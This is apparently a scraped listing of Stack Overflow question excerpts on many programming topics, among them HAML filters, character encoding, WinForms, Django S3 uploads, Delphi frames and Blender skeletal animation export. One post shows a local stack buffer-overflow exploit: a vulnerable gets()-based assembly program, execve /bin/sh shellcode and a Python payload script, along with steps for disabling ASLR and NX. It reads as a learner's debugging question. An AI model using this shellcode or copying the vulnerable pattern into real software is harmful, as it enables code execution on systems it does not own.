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  • Using HAML with custom filters

    - by Guard
    Hi everybody. I feel quite excited about HAML and CoffeeScript and am working on tutorial showing how to use them in non-Rails environment. So, haml has easy to use command-line utility haml input.haml output.html. And, what is great, there exist a project (one of many forks: https://github.com/aussiegeek/coffee-haml-filter) aimed at providing custom filter that converts CoffeeScript into JS inside of HAML files. Unfortunately (or am I missing something?) haml doesn't allow specifying custom filters on the command line or with some configuration file. I (not being a Ruby fan or even knowing it enough) managed to solve it (based on some clever suggestion somewhere on SO) with this helper script: haml.rb require 'rubygems' require 'active_support/core_ext/object/blank' require 'haml' require 'haml/filters/coffee' template = ARGV.length > 0 ? File.read(ARGV.shift) : STDIN.read haml_engine = Haml::Engine.new(template) file = ARGV.length > 0 ? File.open(ARGV.shift, 'w') : STDOUT file.write(haml_engine.render) file.close Which is quite straightforward, except of requires in the beginning. Now, the questions are: 1) should I really use it, or is there another way to have on-demand HAML to HTML compilation with custom filters? 2) What about HAML watch mode? It's great and convenient. I can, of course, create a polling script in python that will watch the directory changes and call this .rb script, but it looks like a dirty solution.

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  • Problem with extended ASCII characters in web page/master page

    - by Oyvind Brathen
    I have some localization problems in my webpage. There are basically two problems (that I suspect have a different sulution, but they are conseptually linked) First problem is this: I have a website that is using a master page. All text from the page is fine, but all text that comes from the master page file, get scrambled norwegian characters. For example Ø shows up as Ø. It seems that all characthers in the extended ASCII table gets scrambled this way. Afterwards, if I open the master page in Notepad the Ø looks normal, but if I remove the Ø and write a new Ø manually, then save the file from Notepad, and then open the website in the browser, it looks fine and the Ø is shown properly. So it seems that Visual Studio saves the characters wrongly in the master file, but correct for the aspx file. Any clue here? The second issue is norwegian characters coming from jQuery. All of these characters get's replaced by a questionmark with a black box around it. Here, modifying the js file in Notepad does not help, and it still display scrambled in the browser. Any input here would be appreciated.

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  • Why ComboBox hides cursor when DroppedDown is set?

    - by Ivan Danilov
    Let's create WinForms Application (I have Visual Studio 2008 running on Windows Vista, but it seems that described situation takes place almost everywhere from Win98 to Vista, on native or managed code). Write such code: using System; using System.Drawing; using System.Windows.Forms; namespace WindowsFormsApplication1 { public class Form1 : Form { private readonly Button button1 = new Button(); private readonly ComboBox comboBox1 = new ComboBox(); private readonly TextBox textBox1 = new TextBox(); public Form1() { SuspendLayout(); textBox1.Location = new Point(21, 51); button1.Location = new Point(146, 49); button1.Text = "button1"; button1.Click += button1_Click; comboBox1.Items.AddRange(new[] {"1", "2", "3", "4", "5", "6"}); comboBox1.Location = new Point(21, 93); AcceptButton = button1; Controls.AddRange(new Control[] {textBox1, comboBox1, button1}); Text = "Form1"; ResumeLayout(false); PerformLayout(); } private void button1_Click(object sender, EventArgs e) { comboBox1.DroppedDown = true; } } } Then, run app. Place mouse cursor on the form and don't touch mouse anymore. Start to type something in TextBox - cursor will hide because of it. When you press Enter key - event throws and ComboBox will be dropped down. But now cursor won't appear even if you move it! And appears only when you click somewhere. There I've found discussion of this problem. But there's no good solution... Any thoughts? :)

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  • Is ASP.NET MVC destined to replace Webforms?

    - by johnny
    I found these questions, but a couple of them were a little old: http://stackoverflow.com/questions/191556/should-i-pursue-asp-net-webforms-or-asp-net-mvc http://stackoverflow.com/questions/88787/do-you-think-asp-net-mvc-will-compete-with-asp-net-webforms http://stackoverflow.com/questions/722637/asp-net-mvc-asp-net-webforms-why I do not believe these are duplicates and might be old enough that new light can be shed. If not please close this. I know that no one framework or language is necessarily the only tool for every job. But, do you see MVC eclipsing webforms or webforms going lower on the priority list for Microsoft? They will have to keep webforms for a long time because so many have invested in it, but they don't have to keep adding new functionality for it. I don't know if this is a good example, but it reminds me of web parts. I never saw much improvement in it from Microsoft. It works and I thought it was great until I started to really try and get a lot out of it. Then from what I could see it just wasn't being pursued by Microsoft that much, though it stayed in Visual Studio. Maybe that's a bad example; just what I remembered. EDIT: Also, if anyone has any statements from Microsoft on this subject it is appreciated. No offense to anyone. I was only hoping for something official.

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  • Django Upload form to S3 img and form validation

    - by citadelgrad
    I'm fairly new to both Django and Python. This is my first time using forms and upload files with django. I can get the uploads and saves to the database to work fine but it fails to valid email or check if the users selected a file to upload. I've spent a lot of time reading documentation trying to figure this out. Thanks! views.py def submit_photo(request): if request.method == 'POST': def store_in_s3(filename, content): conn = S3Connection(AWS_ACCESS_KEY_ID, AWS_SECRET_ACCESS_KEY) bucket = conn.create_bucket(AWS_STORAGE_BUCKET_NAME) mime = mimetypes.guess_type(filename)[0] k = Key(bucket) k.key = filename k.set_metadata("Content-Type", mime) k.set_contents_from_file(content) k.set_acl('public-read') if imghdr.what(request.FILES['image_url']): qw = request.FILES['image_url'] filename = qw.name image = filename content = qw.file url = "http://bpd-public.s3.amazonaws.com/" + image data = {image_url : url, user_email : request.POST['user_email'], user_twittername : request.POST['user_twittername'], user_website : request.POST['user_website'], user_desc : request.POST['user_desc']} s = BeerPhotos(data) if s.is_valid(): #import pdb; pdb.set_trace() s.save() store_in_s3(filename, content) return HttpResponseRedirect(reverse('photos.views.thanks')) return s.errors else: return errors else: form = BeerPhotoForm() return render_to_response('photos/submit_photos.html', locals(),context_instance=RequestContext(request) forms.py class BeerPhotoForm(forms.Form): image_url = forms.ImageField(widget=forms.FileInput, required=True,label='Beer',help_text='Select a image of no more than 2MB.') user_email = forms.EmailField(required=True,help_text='Please type a valid e-mail address.') user_twittername = forms.CharField() user_website = forms.URLField(max_length=128,) user_desc = forms.CharField(required=True,widget=forms.Textarea,label='Description',) template.html <div id="stylized" class="myform"> <form action="." method="post" enctype="multipart/form-data" width="450px"> <h1>Photo Submission</h1> {% for field in form %} {{ field.errors }} {{ field.label_tag }} {{ field }} {% endfor %} <label><span>Click here</span></label> <input type="submit" class="greenbutton" value="Submit your Photo" /> </form> </div>

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  • ASPX FormsAuthentication.RedirectFromLoginPage function is not working anymore

    - by Mike Webb
    Here is my issue. I have an ASPX web site and I have code in there to redirect from the login page with the call to "FormsAuthentication.RedirectFromLoginPage(username, false);" This sends the user from the root website folder to 'website/Admin/'. I have a 'default.aspx' page in 'website/Admin/' and the call to redirect works on a previous version of the website we have running currently, but the one that I am updating on a separate test server is not working. It gives me the error "Directory Listing Denied. This Virtual Directory does not allow contents to be listed." I have this in the config file: <authorization> <allow users="*" /> </authorization> under the "authentication" option and... <location path="Admin"> <system.web> <authorization> <deny users="?" /> </authorization> </system.web> </location> for the location of Admin. Also, there is no difference in the code between the web.config, Login.aspx, or the default.aspx files on the current server and the one on the test server, so I am confused as to why the redirect will not work on both. It even works in the Visual Studio server environment, for which the code is also identical. Any suggestions and help is appreciated.

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  • How to improve the use of Delphi Frames

    - by Brian Frost
    I've used frames in Delphi for years, and they are one of the most powerful features of the VCL, but standard use of them seems to have some risk such as: It's easy to accidentally move or edit the frame sub-components on a frame's host form without realising that you are 'tweaking' with the frame - I know this does not affect the original frame code, but it's generally not what you would want. When working with the frame you are still exposed to its sub-components for visual editing, even when that frame is years old and should not be touched. So I got to thinking.... Is there a way of 'grouping' components such that their positions are 'locked'? This would be useful for finished forms as well as frames. Often other developers return code to me where only the form bounds have changed and even they did not intend any change. Is there any way of turning a frame and its components into a single Delphi component? If so, the frame internals would be completely hidden and its useability would increase further. I'm interested in any thoughts... Brian.

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  • Replace text in word textbox objects using VSTO and C#

    - by Roberto
    Hi, I have to find/replace text from a word document. It works fine for plain text spread through the document, however when the text is in a textbox, the standard find/replace approach doesn't reach it. I found a vba solution, however since I am working in C#, I would like to find a solution in C#. The word document is in 2007 format and my visual studio is 2010. I am using .Net Framework 3.5, but if required, I can consider moving to 4.0. Here is the code for the find/replace that only works with plain text (not in word textbox objects): object Missing = System.Reflection.Missing.Value; object fileToOpen = (object)@"c:\doc.docx"; object fileToSave = (object)@"c:\doc.docx"; Word.Application app = new Word.ApplicationClass(); Word.Document doc = new Word.Document(); try { doc = app.Documents.Open(ref fileToOpen, ref Missing, ref Missing, ref Missing, ref Missing, ref Missing, ref Missing, ref Missing, ref Missing, ref Missing, ref Missing, ref Missing, ref Missing, ref Missing, ref Missing, ref Missing); object replaceAll = Word.WdReplace.wdReplaceAll; app.Selection.Find.ClearFormatting(); app.Selection.Find.Text = "MyTextForReplacement"; app.Selection.Find.Replacement.ClearFormatting(); app.Selection.Find.Replacement.Text = "Found you!"; app.Selection.Find.Execute( ref Missing, ref Missing, ref Missing, ref Missing, ref Missing, ref Missing, ref Missing, ref Missing, ref Missing, ref Missing, ref replaceAll, ref Missing, ref Missing, ref Missing, ref Missing); I also tried using the below code, but didn't work as well: foreach(Word.Shape s in app.ActiveDocument.Shapes) { if(s.TextFrame.HasText >= 1) //The value is always 0 or -1, and even leaving 0 go forward, // it doesn't work, because there is no text in there... { foreach(Word.Field f in s.TextFrame.TextRange.Fields) { switch( f.Type) { . . //I never reached this point . } } } Any help will be appreciated... Thanks, -- Roberto Lopes

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  • Solutions for working with multiple branches in ASP.Net

    - by Corey McKinnon
    At work, we are often working on multiple branches of our product at one time. For example, right now, we have a maintenance branch, a branch with code just going to QA, and a branch for a new major initiative, that won't be merged for some time now. Our web project is set up to use IIS, so every time we switch to a different branch, we have to go in to IIS Admin and change the path on the virtual directory, then reset IIS, and sometimes even restart Visual Studio, to avoid getting build errors. Is there any way to simplify this, other than not having our web project set up as a virtual directory? I'm not sure we want to make that change at this point. What do you do to make this easier, assuming you do this? Corey @RedWolves, virtual machines would definitely work, but I'm not sure it would be any simpler, especially for some of the other developers on my team, which is partly why I'm looking for more simplicity. @Dan, we're not able to change source control providers, unfortunately. @pix0r, that's something I'll try when I get back to work. Thanks for the suggestion. @Haacked, I'll have to give that a try too, but I think we have some issues with why that won't work (I can't remember exactly why right now; this application was originally written in .Net 1.1, pre-Cassini, and I can't remember if we tried it when we upgraded to 2.0 or not). Thanks all for the responses so far.

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  • Why does Cut/Paste of form components sometimes stop working in Delphi 2007 IDE?

    - by robsoft
    This is driving me crazy. I'm not going to take it anymore. I'm going to ask, even at the risk of eternal public humiliation! (If it's something really obvious or that I've done to the system myself). For reasons I've never quite had the patience to work out, every so often the form I'm working on in Delphi 2007's visual form editor goes 'pseudo-read-only'; I can add new components to the form, I can move/resize existing ones (and change any properties in the Object Inspector), and I can select a component and 'copy' it to the clipboard. But I'm completely unable to cut a component from the form, or paste a new copy down. I don't believe it's to do with the 'Lock Controls' Edit menu option as I can toggle this on or off and it has the effect it's supposed to - this disappearance of Cut & Paste happens on the right-click context menu, from the keyboard and from the main Edit menu - it's as if the form has become read only to thing to do with the clipboard. If I close the form in the IDE and then reopen it, everything starts working fine again (just as D1, D3, D5 and D7 always did for me, previously). I'm not going mad, as I'm sure I read something about why this happens on a newsgroup once and it's caught me out from time to time many many times in the last few months, but I've failed to find the newsgroup reference this evening and I've decided that, as more and more Delphi users seem to be making use of StackOverflow, it was worth asking here. Help - when I'm doing lots of form-work it drives me absolutely mad!

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  • Stack and Hash joint

    - by Alexandru
    I'm trying to write a data structure which is a combination of Stack and HashSet with fast push/pop/membership (I'm looking for constant time operations). Think of Python's OrderedDict. I tried a few things and I came up with the following code: HashInt and SetInt. I need to add some documentation to the source, but basically I use a hash with linear probing to store indices in a vector of the keys. Since linear probing always puts the last element at the end of a continuous range of already filled cells, pop() can be implemented very easy without a sophisticated remove operation. I have the following problems: the data structure consumes a lot of memory (some improvement is obvious: stackKeys is larger than needed). some operations are slower than if I have used fastutil (eg: pop(), even push() in some scenarios). I tried rewriting the classes using fastutil and trove4j, but the overall speed of my application halved. What performance improvements would you suggest for my code? What open-source library/code do you know that I can try?

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  • What is your best-practice advice on implementing SQL stored procedures (in a C# winforms applicatio

    - by JYelton
    I have read these very good questions on SO about SQL stored procedures: When should you use stored procedures? and Are Stored Procedures more efficient, in general, than inline statements on modern RDBMS’s? I am a beginner on integrating .NET/SQL though I have used basic SQL functionality for more than a decade in other environments. It's time to advance with regards to organization and deployment. I am using .NET C# 3.5, Visual Studio 2008 and SQL Server 2008; though this question can be regarded as language- and database- agnostic, meaning that it could easily apply to other environments that use stored procedures and a relational database. Given that I have an application with inline SQL queries, and I am interested in converting to stored procedures for organizational and performance purposes, what are your recommendations for doing so? Here are some additional questions in my mind related to this subject that may help shape the answers: Should I create the stored procedures in SQL using SQL Management Studio and simply re-create the database when it is installed for a client? Am I better off creating all of the stored procedures in my application, inside of a database initialization method? It seems logical to assume that creating stored procedures must follow the creation of tables in a new installation. My database initialization method creates new tables and inserts some default data. My plan is to create stored procedures following that step, but I am beginning to think there might be a better way to set up a database from scratch (such as in the installer of the program). Thoughts on this are appreciated. I have a variety of queries throughout the application. Some queries are incredibly simple (SELECT id FROM table) and others are extremely long and complex, performing several joins and accepting approximately 80 parameters. Should I replace all queries with stored procedures, or only those that might benefit from doing so? Finally, as this topic obviously requires some research and education, can you recommend an article, book, or tutorial that covers the nuances of using stored procedures instead of direct statements?

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  • Eclipse Plug-In Installation Issues

    - by Mudu
    Hi all I'm beginning to work with Eclipse for some Java development. I'm quite new to Eclipse, as I am a Visual Studio developer normally. I tried to install the CheckStyle Eclipse Plug-In and Subversive, using the Eclipse "Install new Software" feature. No errors, everything seems to have worked well. Clicking on "What software is already installed?" in the Install-dialogue shows me a list of installed plug-ins. Both Subversive and CheckStyle for Eclipse are listed. My only problem is that neither of them "work", that means I cannot see any new UI elements. According to the manual I have, I should see a new node "CheckStyle" in a project's properties. I haven't. I don't know exactly what Subversive looks like, but I'm sure there's a way to conveniently perform check-out operations etc. Manually copying the downloaded plug-in to the dropins-folder and restarting Eclipse subsequently does not help either. Is there a way to reliably find out whether there occurred any errors - I have no error message at all, what drives me crazy and makes the problem pretty difficult to describe/Google... Any help would be very cool! Cheers Matthias

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  • Displaying shifts on a timetable/calendar using C#

    - by Dave Peters
    I am very much a beginner and have experience of SQL and a tiny amount of VBA. What I am looking to do is create a tool to pull shift times from a database and to display them on a timetable/calendar. It will be part of a desktop application that the (very tech illiterate) end users will use to view and amend shift patterns. In essence it will be a grid with days on one axis and people on the other (I would however like to have the blocks proportional to shift length). In my mind it would potentially be a simple Gantt chart. All computing stuff I’ve learnt has been through trial and error and I want to use this project to get a much better understanding of C# as well as to get to the end product. I have been reading around for ways to tackle the problem and my issue is creating the timetable framework to which I will bind the data. I am using Visual Studio 2010 and SQL Server 2008 R2. Do you know of good resources which will either start me on the road to designing my own interface or give a basic framework I can adapt? All the resources I’ve found so far have been in different languages or for web based applications. Thank you for your time.

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  • Shellcode for a simple stack overflow doesn't start a shell

    - by henning
    Hi, I played around with buffer overflows on Linux (amd64) and tried exploiting a simple program, but it failed. I disabled the security features (address space layout randomization with sysctl -w kernel.randomize_va_space=0 and nx bit in the bios). It jumps to the stack and executes the shellcode, but it doesn't start a shell. Seems like the execve syscall fails. Any idea what's wrong? Running the shellcode standalone works just fine. Bonus question: Why do I need to set rax to zero before calling printf? (See comment in the code) Vulnerable file buffer.s: .data .fmtsp: .string "Stackpointer %p\n" .fmtjump: .string "Jump to %p\n" .text .global main main: push %rbp mov %rsp, %rbp sub $120, %rsp # calling printf without setting rax # to zero results in a segfault. why? xor %rax, %rax mov %rsp, %rsi mov $.fmtsp, %rdi call printf mov %rsp, %rdi call gets xor %rax, %rax mov $.fmtjump, %rdi mov 8(%rbp), %rsi call printf xor %rax, %rax leave ret shellcode.s .text .global main main: mov $0x68732f6e69622fff, %rbx shr $0x8, %rbx push %rbx mov %rsp, %rdi xor %rsi, %rsi xor %rdx, %rdx xor %rax, %rax add $0x3b, %rax syscall exploit.py shellcode = "\x48\xbb\xff\x2f\x62\x69\x6e\x2f\x73\x68\x48\xc1\xeb\x08\x53\x48\x89\xe7\x48\x31\xf6\x48\x31\xd2\x48\x31\xc0\x48\x83\xc0\x3b\x0f\x05" stackpointer = "\x7f\xff\xff\xff\xe3\x28" output = shellcode output += 'a' * (120 - len(shellcode)) # fill buffer output += 'b' * 8 # override stored base pointer output += ''.join(reversed(stackpointer)) print output Compiled with: $ gcc -o buffer buffer.s $ gcc -o shellcode shellcode.s Started with: $ python exploit.py | ./buffer Stackpointer 0x7fffffffe328 Jump to 0x7fffffffe328

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  • MySQL Connector for .NET - Is it REALLY mature?

    - by effkay
    After spending a miserable month with MySQL/.NET/EntityFramework, my findings: Support for Entity Framework is VERY primitive, please use it for student-subjects type of database. Kindly do not consider it using for serious development as they ARE STILL unable to sort out VERY BASIC things like: it DOES NOT support unsigned stuff it DOES NOT support unsigned columns as FK; if you try, it gives you a beautiful exception; "The specified value is not an instance of a valid constant type\r\nParameter name: value" [http://bugs.mysql.com/bug.php?id=44801] blob cannot store more then few KB; cannot compare null object with a column with a LEGAL null value [http://bugs.mysql.com/bug.php?id=49936] they are unable to write VERY PRIMITIVE check to return date as null if value in column is 0000-00-00 00:00:00 if you use Visual Studio; sorry; mysql/sun guys hate Microsoft, they will NOT LET you import more then two or three tables (for Micky Mouse type of tables, they allow five; but thats it) - if you try, it will throw TIME OUT error on your face ... unless you are smart enough to change the connection time in connection string Anyone who would like to add in above list? WISH I would have seen a list like this before I selected MySQL :(

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  • how to export bind and keyframe bone poses from blender to use in OpenGL

    - by SaldaVonSchwartz
    EDIT: I decided to reformulate the question in much simpler terms to see if someone can give me a hand with this. Basically, I'm exporting meshes, skeletons and actions from blender into an engine of sorts that I'm working on. But I'm getting the animations wrong. I can tell the basic motion paths are being followed but there's always an axis of translation or rotation which is wrong. I think the problem is most likely not in my engine code (OpenGL-based) but rather in either my misunderstanding of some part of the theory behind skeletal animation / skinning or the way I am exporting the appropriate joint matrices from blender in my exporter script. I'll explain the theory, the engine animation system and my blender export script, hoping someone might catch the error in either or all of these. The theory: (I'm using column-major ordering since that's what I use in the engine cause it's OpenGL-based) Assume I have a mesh made up of a single vertex v, along with a transformation matrix M which takes the vertex v from the mesh's local space to world space. That is, if I was to render the mesh without a skeleton, the final position would be gl_Position = ProjectionMatrix * M * v. Now assume I have a skeleton with a single joint j in bind / rest pose. j is actually another matrix. A transform from j's local space to its parent space which I'll denote Bj. if j was part of a joint hierarchy in the skeleton, Bj would take from j space to j-1 space (that is to its parent space). However, in this example j is the only joint, so Bj takes from j space to world space, like M does for v. Now further assume I have a a set of frames, each with a second transform Cj, which works the same as Bj only that for a different, arbitrary spatial configuration of join j. Cj still takes vertices from j space to world space but j is rotated and/or translated and/or scaled. Given the above, in order to skin vertex v at keyframe n. I need to: take v from world space to joint j space modify j (while v stays fixed in j space and is thus taken along in the transformation) take v back from the modified j space to world space So the mathematical implementation of the above would be: v' = Cj * Bj^-1 * v. Actually, I have one doubt here.. I said the mesh to which v belongs has a transform M which takes from model space to world space. And I've also read in a couple textbooks that it needs to be transformed from model space to joint space. But I also said in 1 that v needs to be transformed from world to joint space. So basically I'm not sure if I need to do v' = Cj * Bj^-1 * v or v' = Cj * Bj^-1 * M * v. Right now my implementation multiples v' by M and not v. But I've tried changing this and it just screws things up in a different way cause there's something else wrong. Finally, If we wanted to skin a vertex to a joint j1 which in turn is a child of a joint j0, Bj1 would be Bj0 * Bj1 and Cj1 would be Cj0 * Cj1. But Since skinning is defined as v' = Cj * Bj^-1 * v , Bj1^-1 would be the reverse concatenation of the inverses making up the original product. That is, v' = Cj0 * Cj1 * Bj1^-1 * Bj0^-1 * v Now on to the implementation (Blender side): Assume the following mesh made up of 1 cube, whose vertices are bound to a single joint in a single-joint skeleton: Assume also there's a 60-frame, 3-keyframe animation at 60 fps. The animation essentially is: keyframe 0: the joint is in bind / rest pose (the way you see it in the image). keyframe 30: the joint translates up (+z in blender) some amount and at the same time rotates pi/4 rad clockwise. keyframe 59: the joint goes back to the same configuration it was in keyframe 0. My first source of confusion on the blender side is its coordinate system (as opposed to OpenGL's default) and the different matrices accessible through the python api. Right now, this is what my export script does about translating blender's coordinate system to OpenGL's standard system: # World transform: Blender -> OpenGL worldTransform = Matrix().Identity(4) worldTransform *= Matrix.Scale(-1, 4, (0,0,1)) worldTransform *= Matrix.Rotation(radians(90), 4, "X") # Mesh (local) transform matrix file.write('Mesh Transform:\n') localTransform = mesh.matrix_local.copy() localTransform = worldTransform * localTransform for col in localTransform.col: file.write('{:9f} {:9f} {:9f} {:9f}\n'.format(col[0], col[1], col[2], col[3])) file.write('\n') So if you will, my "world" matrix is basically the act of changing blenders coordinate system to the default GL one with +y up, +x right and -z into the viewing volume. Then I also premultiply (in the sense that it's done by the time we reach the engine, not in the sense of post or pre in terms of matrix multiplication order) the mesh matrix M so that I don't need to multiply it again once per draw call in the engine. About the possible matrices to extract from Blender joints (bones in Blender parlance), I'm doing the following: For joint bind poses: def DFSJointTraversal(file, skeleton, jointList): for joint in jointList: bindPoseJoint = skeleton.data.bones[joint.name] bindPoseTransform = bindPoseJoint.matrix_local.inverted() file.write('Joint ' + joint.name + ' Transform {\n') translationV = bindPoseTransform.to_translation() rotationQ = bindPoseTransform.to_3x3().to_quaternion() scaleV = bindPoseTransform.to_scale() file.write('T {:9f} {:9f} {:9f}\n'.format(translationV[0], translationV[1], translationV[2])) file.write('Q {:9f} {:9f} {:9f} {:9f}\n'.format(rotationQ[1], rotationQ[2], rotationQ[3], rotationQ[0])) file.write('S {:9f} {:9f} {:9f}\n'.format(scaleV[0], scaleV[1], scaleV[2])) DFSJointTraversal(file, skeleton, joint.children) file.write('}\n') Note that I'm actually grabbing the inverse of what I think is the bind pose transform Bj. This is so I don't need to invert it in the engine. Also note I went for matrix_local, assuming this is Bj. The other option is plain "matrix", which as far as I can tell is the same only that not homogeneous. For joint current / keyframe poses: for kfIndex in keyframes: bpy.context.scene.frame_set(kfIndex) file.write('keyframe: {:d}\n'.format(int(kfIndex))) for i in range(0, len(skeleton.data.bones)): file.write('joint: {:d}\n'.format(i)) currentPoseJoint = skeleton.pose.bones[i] currentPoseTransform = currentPoseJoint.matrix translationV = currentPoseTransform.to_translation() rotationQ = currentPoseTransform.to_3x3().to_quaternion() scaleV = currentPoseTransform.to_scale() file.write('T {:9f} {:9f} {:9f}\n'.format(translationV[0], translationV[1], translationV[2])) file.write('Q {:9f} {:9f} {:9f} {:9f}\n'.format(rotationQ[1], rotationQ[2], rotationQ[3], rotationQ[0])) file.write('S {:9f} {:9f} {:9f}\n'.format(scaleV[0], scaleV[1], scaleV[2])) file.write('\n') Note that here I go for skeleton.pose.bones instead of data.bones and that I have a choice of 3 matrices: matrix, matrix_basis and matrix_channel. From the descriptions in the python API docs I'm not super clear which one I should choose, though I think it's the plain matrix. Also note I do not invert the matrix in this case. The implementation (Engine / OpenGL side): My animation subsystem does the following on each update (I'm omitting parts of the update loop where it's figured out which objects need update and time is hardcoded here for simplicity): static double time = 0; time = fmod((time + elapsedTime),1.); uint16_t LERPKeyframeNumber = 60 * time; uint16_t lkeyframeNumber = 0; uint16_t lkeyframeIndex = 0; uint16_t rkeyframeNumber = 0; uint16_t rkeyframeIndex = 0; for (int i = 0; i < aClip.keyframesCount; i++) { uint16_t keyframeNumber = aClip.keyframes[i].number; if (keyframeNumber <= LERPKeyframeNumber) { lkeyframeIndex = i; lkeyframeNumber = keyframeNumber; } else { rkeyframeIndex = i; rkeyframeNumber = keyframeNumber; break; } } double lTime = lkeyframeNumber / 60.; double rTime = rkeyframeNumber / 60.; double blendFactor = (time - lTime) / (rTime - lTime); GLKMatrix4 bindPosePalette[aSkeleton.jointsCount]; GLKMatrix4 currentPosePalette[aSkeleton.jointsCount]; for (int i = 0; i < aSkeleton.jointsCount; i++) { F3DETQSType& lPose = aClip.keyframes[lkeyframeIndex].skeletonPose.joints[i]; F3DETQSType& rPose = aClip.keyframes[rkeyframeIndex].skeletonPose.joints[i]; GLKVector3 LERPTranslation = GLKVector3Lerp(lPose.t, rPose.t, blendFactor); GLKQuaternion SLERPRotation = GLKQuaternionSlerp(lPose.q, rPose.q, blendFactor); GLKVector3 LERPScaling = GLKVector3Lerp(lPose.s, rPose.s, blendFactor); GLKMatrix4 currentTransform = GLKMatrix4MakeWithQuaternion(SLERPRotation); currentTransform = GLKMatrix4TranslateWithVector3(currentTransform, LERPTranslation); currentTransform = GLKMatrix4ScaleWithVector3(currentTransform, LERPScaling); GLKMatrix4 inverseBindTransform = GLKMatrix4MakeWithQuaternion(aSkeleton.joints[i].inverseBindTransform.q); inverseBindTransform = GLKMatrix4TranslateWithVector3(inverseBindTransform, aSkeleton.joints[i].inverseBindTransform.t); inverseBindTransform = GLKMatrix4ScaleWithVector3(inverseBindTransform, aSkeleton.joints[i].inverseBindTransform.s); if (aSkeleton.joints[i].parentIndex == -1) { bindPosePalette[i] = inverseBindTransform; currentPosePalette[i] = currentTransform; } else { bindPosePalette[i] = GLKMatrix4Multiply(inverseBindTransform, bindPosePalette[aSkeleton.joints[i].parentIndex]); currentPosePalette[i] = GLKMatrix4Multiply(currentPosePalette[aSkeleton.joints[i].parentIndex], currentTransform); } aSkeleton.skinningPalette[i] = GLKMatrix4Multiply(currentPosePalette[i], bindPosePalette[i]); } Finally, this is my vertex shader: #version 100 uniform mat4 modelMatrix; uniform mat3 normalMatrix; uniform mat4 projectionMatrix; uniform mat4 skinningPalette[6]; uniform lowp float skinningEnabled; attribute vec4 position; attribute vec3 normal; attribute vec2 tCoordinates; attribute vec4 jointsWeights; attribute vec4 jointsIndices; varying highp vec2 tCoordinatesVarying; varying highp float lIntensity; void main() { tCoordinatesVarying = tCoordinates; vec4 skinnedVertexPosition = vec4(0.); for (int i = 0; i < 4; i++) { skinnedVertexPosition += jointsWeights[i] * skinningPalette[int(jointsIndices[i])] * position; } vec4 skinnedNormal = vec4(0.); for (int i = 0; i < 4; i++) { skinnedNormal += jointsWeights[i] * skinningPalette[int(jointsIndices[i])] * vec4(normal, 0.); } vec4 finalPosition = mix(position, skinnedVertexPosition, skinningEnabled); vec4 finalNormal = mix(vec4(normal, 0.), skinnedNormal, skinningEnabled); vec3 eyeNormal = normalize(normalMatrix * finalNormal.xyz); vec3 lightPosition = vec3(0., 0., 2.); lIntensity = max(0.0, dot(eyeNormal, normalize(lightPosition))); gl_Position = projectionMatrix * modelMatrix * finalPosition; } The result is that the animation displays wrong in terms of orientation. That is, instead of bobbing up and down it bobs in and out (along what I think is the Z axis according to my transform in the export clip). And the rotation angle is counterclockwise instead of clockwise. If I try with a more than one joint, then it's almost as if the second joint rotates in it's own different coordinate space and does not follow 100% its parent's transform. Which I assume it should from my animation subsystem which I assume in turn follows the theory I explained for the case of more than one joint. Any thoughts?

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  • How do I know if I have an unmanaged resource?

    - by Shiftbit
    I've read that unmanaged resource are considered file handles, streams, anything low level. Does MSDN or any other source explain how to recognize an unmanaged resource? I can't seem to find any examples on the net that show unmanaged code, all the examples just have comments that say unmanaged code here. Can someone perhaps provide a realworld example where I would handle an unmanaged resources in an IDispose interface? I provided the IDisposable interface for your convience. How do I identify an unmanaged resource? Thanks in advance! IDisposable Reference Public Class Sample : Implements IDisposable Private disposedValue As Boolean = False 'To detect redundant calls ' IDisposable Protected Overridable Sub Dispose(ByVal disposing As Boolean) If Not Me.disposedValue Then If disposing Then ' TODO: free other state (managed objects). End If ' TODO: free your own state (unmanaged objects). ' TODO: set large fields to null. End If Me.disposedValue = True End Sub ' This code added by Visual Basic to correctly implement the disposable pattern. Public Sub Dispose() Implements IDisposable.Dispose ' Do not change this code. Put cleanup code in Dispose(ByVal disposing As Boolean) above. Dispose(True) GC.SuppressFinalize(Me) End Sub End Class

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  • Extracting bool from istream in a templated function

    - by Thomas Matthews
    I'm converting my fields class read functions into one template function. I have field classes for int, unsigned int, long, and unsigned long. These all use the same method for extracting a value from an istringstream (only the types change): template <typename Value_Type> Value_Type Extract_Value(const std::string& input_string) { std::istringstream m_string_stream; m_string_stream.str(input_string); m_string_stream.clear(); m_string_stream >> value; return; } The tricky part is with the bool (Boolean) type. There are many textual representations for Boolean: 0, 1, T, F, TRUE, FALSE, and all the case insensitive combinations Here's the questions: What does the C++ standard say are valid data to extract a bool, using the stream extraction operator? Since Boolean can be represented by text, does this involve locales? Is this platform dependent? I would like to simplify my code by not writing my own handler for bool input. I am using MS Visual Studio 2008 (version 9), C++, and Windows XP and Vista.

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  • Flex service in debug

    - by Tom
    Hello everybody, I am trying to learn the new services method in flex 4. but i can´t get it work. A test oparation near the service in flash builder 4 works. But when i run the code i get NetConnection.Call.Failed: HTTP: Failed. Does somebody knows what the problem can be? Tom CODE: PHP <?php class AuthService { public function login($username, $password) { return 'ok'; } public function logout() { return true; } } ?> FLEX <?xml version="1.0" encoding="utf-8"?> <s:Application xmlns:fx="http://ns.adobe.com/mxml/2009" xmlns:s="library://ns.adobe.com/flex/spark" xmlns:mx="library://ns.adobe.com/flex/mx" minWidth="955" minHeight="600" xmlns:authservice="services.authservice.*"> <fx:Script> <![CDATA[ import mx.controls.Alert; protected function button_clickHandler(event:MouseEvent):void { loginResult.token = authService.login(username, password); } ]]> </fx:Script> <fx:Declarations> <s:CallResponder id="loginResult"/> <authservice:AuthService id="authService" fault="Alert.show(event.fault.faultString + '\n' + event.fault.faultDetail)" showBusyCursor="true"/> <!-- Place non-visual elements (e.g., services, value objects) here --> </fx:Declarations> <s:Button x="97" y="193" label="Button" id="button" click="button_clickHandler(event)"/> <s:TextInput x="91" y="87" id="username"/> <s:TextInput x="97" y="117" id="password"/> </s:Application

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  • Obtaining information about executable code from exe/pdb

    - by Miro Kropacek
